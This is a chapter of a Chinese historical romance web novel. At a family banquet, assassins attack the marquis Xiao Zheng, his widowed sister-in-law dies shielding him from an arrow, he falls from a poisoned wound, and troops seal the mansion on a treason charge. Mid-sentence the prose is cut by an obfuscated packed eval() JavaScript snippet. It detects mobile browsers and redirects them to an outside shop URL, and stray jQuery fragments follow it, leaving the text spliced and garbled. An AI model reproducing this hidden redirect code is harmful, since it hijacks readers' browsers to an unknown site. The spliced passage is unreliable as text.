暮色四合,晚膳摆进内厅。
今夜算是萧狰为江小萍接风的家宴,没有外客,只有萧狰、施芙蕖。
江小萍一身素色绸衣,神态依旧温顺谦和,举止得体,席间言语不多,只偶尔提起亡夫,眉眼间带着淡淡的哀戚,看着格外恻然。
萧狰心中存着对旧部的愧疚,待她多有照拂,时不时温声劝她多用些饭菜。
唯独施芙蕖心怀沉郁,抱着宝珠安静端坐一侧。
自黄昏廊下那一眼过后,那名眼生丫鬟读不到心声的诡异感,始终盘踞在心,挥之不去。
更让她费解的是,江小萍是宝珠的娘亲,可江小萍自始至终都没有再想要抱一抱宝珠。
席间气氛平和,烛火噼啪轻响。
“吱——”
一声极细、尖锐的哨音,骤然划破屋内温吞的平和。
哨声短促,穿透厅堂,直传院外。
无人看清站在江小萍身后那名眼生的丫鬟是何时抬手动作的。
萧狰神色刹那凛厉剧变。
内厅家宴,他卸了常佩长剑,周身无兵刃。
电光火石间,他指尖一捞,攥紧桌上一双银筷,权当防身兵器。
几乎哨声落下的同一刹那,窗外院墙上数道黑衣黑影纵身跃落,利刃出鞘,寒光映着窗内跳动的烛火,径直朝着厅内扑杀而入。
施芙蕖浑身汗毛骤然竖起,根本来不及思索,她双臂死死收紧,将怀中宝珠牢牢护在胸膛之间,身子极速后退,脊背死死抵住冰冷厅柱,将小小的孩子完完全全圈在自己方寸安稳之地。
她暗自懊恼,明明已经察觉那婢女身形诡异、读不到半分心声,疑点重重。怎就没有及时告知萧狰呢。
怀中的宝珠被尖锐哨声与外面的动静惊到,小嘴一扁,险些就要哭出声,施芙蕖急忙抬手轻轻捂住孩子的嘴巴,指尖止不住反颤。
“宝珠乖,不哭。”
那名伪装丫鬟已然暴起,短刃寒芒刺眼,招式狠戾刁钻,直取萧狰心口要害!
江小萍僵在原地,指尖冰凉。
她早知今夜布局,早知这些人要借她之手刺杀萧狰,可当真听见夺命哨音、看见满室杀机时,心底依旧翻涌着刺骨恐惧。
可她来不及恍惚。
战局骤变,数十名黑衣刺客悍然围杀,招招毙命。
萧狰仅凭一双银筷徒手相抗,招式凌厉利落,以一敌众,竟将一众刺客逼得节节败退。
刺客们彻底急红了眼。
原定围杀计划落空,他们早已顾不得先前与江小萍的约定,什么不伤及妇孺、保全宝珠,尽数作废。
有人厉声嘶吼,刀锋陡然一转!
数道森寒刀芒,齐齐调转方向,放弃缠斗萧狰,直奔手无寸铁的施芙蕖与她怀中宝珠劈斩而来!
“保住!”江小萍瞳孔骤缩,浑身血液几乎凝固。
这一刻,萧狰几乎是本能反应。
他全然不顾身后虚空大开、全然不顾暗处潜藏的致命危机,毫不犹豫弃了正面战局,身形悍然折返。
趁着近身一名黑衣人劈刀落空的瞬间,手腕迅猛一扣,徒手夺下对方手中大刀。
寒光乍闪,他硬生生横刀挡在施芙蕖与宝珠身前!
刀锋相撞,“铮”的一声刺耳脆响炸开,震得周遭气流震颤。
利刃劈砍的巨力狠狠砸来,萧狰肩头躲闪不及,被刀背狠狠擦过,衣料撕裂,皮肉瞬间外翻,温热的血珠瞬间浸透深色衣料,猩红刺眼。
他肩头受创,身形微晃,却半步未退,咬牙死死挡住身前二人。
这一瞬,江小萍看得清清楚楚,心中酸涩。
眼前这个战功赫赫、权势滔天的勇毅侯爷,分毫未变。
他还是那个愿意豁出性命,护住他们一家人的好弟弟。
她错了。
是她被恨意蒙蔽双眼,被奸人蛊惑裹挟,满心私心隔阂,始终不肯全然信他。
她自以为是的筹谋复仇,借他之手铲除掌控自己的人,到头来错得离谱。
无人留意屋梁暗影,一支漆黑羽箭破风疾射,携着夺命力道,精准对准萧狰毫无防备的后背心口!
速度太快,力道太狠,已然避无可避!
“侯爷小心!”施芙蕖瞳孔骤缩,抱着宝珠失声惊呼,嗓音发颤。
“侯爷身后有箭!”青禾的急喝同时炸响,可距离太远,已然来不及驰援。
千钧一发之际,一道素色身影不顾一切猛扑上前!
是江小萍!
她用尽全身力气冲撞过来,硬生生挡在萧狰后背。
冰冷锋利的羽箭,毫无缓冲,狠狠贯穿她单薄的脊背!
温热猩红的鲜血瞬间浸透素色绸衣,在烛火下绽开刺眼的血色花痕。
萧狰身形一震,猛地回头,伸手稳稳接住颓然下坠的她,素来沉稳冷硬的嗓音,难得染上慌乱与失措,“嫂嫂!”
江小萍靠在他怀中,气息微弱,唇角扯出一抹苦涩又释然的笑,“阿狰弟弟……你不该救我的……”
与此同时,青禾率领府中侍卫终于冲破合围,蜂拥入厅,利刃出鞘,迅速剿杀残余刺客。
萧狰肩头刀伤本就失血甚多,方才强撑心神处置乱局,毒素顺着伤口悄然蔓延。
眼前一阵天旋地转,他来不及多说半个字,身躯重重一歪,直挺挺昏倒在地。
“侯爷!”
施芙蕖心头大骇,几步抢身上前,半跪在地伸手探他脉搏,又掀开染血的衣料细看肩头伤口。
指尖触到皮肉,只见伤口边缘已经泛起一层异样乌青。
她脸色骤然剧变,扬声急呼,“不好!这刀刃之上,淬了毒!快传府医!”
院外骤然掀起震天动地的甲胄脚步声,层层叠叠,铁靴踏地,震得整座侯府地面都在微微发颤。
密密麻麻的官兵铁甲映着夜色,死死将偌大勇毅侯府围得水泄不通,杀气滔天。
一道冰冷威严的官嗓穿透沉沉夜色,狠狠压过府内所有残响,“勇毅侯萧狰私通敌国、暗蓄奸细!即刻封锁侯府,全员禁足!无令不得出入,彻查通敌罪证!”
惊雷炸顶!
前院大门口早已乱作一团。
老太爷与老太太闻讯急奔而出。
老太太气得浑身发抖,双目赤红,对着门前官兵厉声怒骂,“我放你娘的狗臭屁!我儿就算战死边关,也绝不可能通敌叛国!你们这群狗官休要污蔑忠良!”
东跨院内,萧家大爷、三爷、四弟连同大夫人、三夫人匆匆赶至。
看到满地刺客尸身、碎裂碗碟、遍地猩红血迹,触目惊心。
“怎、怎会这样……”三夫人本就体弱,此刻心神骤崩,双腿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864396|212146||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一软,两眼一翻,直直晕过去。
三爷萧泓脸色惨白如纸,浑身发抖,手足无措地扶住倒下的三夫人,声音颤得不成样子。
“这、这如何是好?通敌叛国……这是灭门大祸啊!”
大夫人立在一旁,吓得手脚冰凉,方寸尽失,满眼茫然无措。
她素来只擅内宅琐事,何曾见过这般满地血腥、尸横遍地的凶险场面,此刻彻底慌了神,只能慌乱转头看向身旁唯一能主事的大爷,声音发颤。
“大郎……这些尸体……是、是该赶紧处理掉,还是原样留在这儿?”
大爷面色铁青,眼底满是惶急与慌乱,素来沉稳他,此刻也方寸大乱。
萧凌勉强压下心底翻涌的惊惧,快步冲至施芙蕖身侧,急声发问,“芙蕖姐姐,我二哥他、他情况如何?”
“受了重伤,刀刃淬毒,现下已经昏迷,必须立刻医治。”
施芙蕖一手稳稳环住怀中的宝珠,另一只手按住萧狰肩头的伤口,尽量压住不断外溢的鲜血。
“可、可府尹亲自带兵围了侯府,污蔑二哥私通外敌!”萧凌声音发紧,“我爹娘在大门口拦着,怕是拦不了多久。”
“眼下、眼下该如何是好?”
府医提着药箱匆匆赶来,跪在萧狰身侧,指尖搭上腕脉,又仔细查看肩头乌青的伤口,面色一重,连连摇头。
“侯爷所中之毒十分阴狠,在下束手无策。普天之下,恐怕唯有宫中的丁御医才有法子化解此毒。”
大夫人闻言,脸色更是灰白一片,惶惶开口,“可如今侯府被官兵团团围困,内外隔绝,我们又如何能够请得动宫中御医入府?”
施芙蕖眸光一闪,视线落向萧狰腰间的腰牌上。她毫不犹豫伸手一把将腰牌扯下,转头看向身侧的青禾。
“青禾,凭这块腰牌,能不能进宫请御医前来?”
青禾目光落在那枚鎏金腰牌之上,重重点头,“此乃圣上御赐,见腰牌便如侯爷亲至,可以传召御医前来府中诊治。”
施芙蕖当即看向一旁的萧凌,“萧凌,府内可有偏僻小门,或是旁人不知的通道,能够悄悄溜出去?”
萧凌闻言,脱口而出,“有,后院角落有一处狗洞,我往日贪玩,常常从那里爬出去闲逛。”
施芙蕖握紧手中腰牌,正要递到萧凌手里。
一旁的大爷与三爷对视一眼,二人同时往前踏出一步。
“此事九死一生,凶险万分,还是让我前去。”大爷沉声开口。
“大哥,你要留守府中稳住家眷,该我去。”三爷紧跟着说道。
施芙蕖轻轻摇头,目光冷静坚定,“大爷,三爷,这件事,唯有交给萧凌才能够办成。”
“他只是还未弱冠的少年郎,涉世未深,只要侯爷能够解毒醒来,萧凌纵使贸然闯宫、举止失仪,陛下也不会降罪于一个忧心兄长的稚弟。”
她说罢,将腰牌郑重交到萧凌掌心,一字一句叮嘱。
“你到宫门口,无论守门侍卫如何刁难阻拦,什么都不必多说,只需要一遍一遍高声重复,敌国奸细今夜闯入侯府行刺,勇毅侯身受重伤、中毒昏迷,恳请丁御医速速入府救命。”
“万万记住,不可硬来,只能智取,保全自身。”
萧凌紧紧攥住手中腰牌,重重点头,转身便朝着后院方向疾奔而去。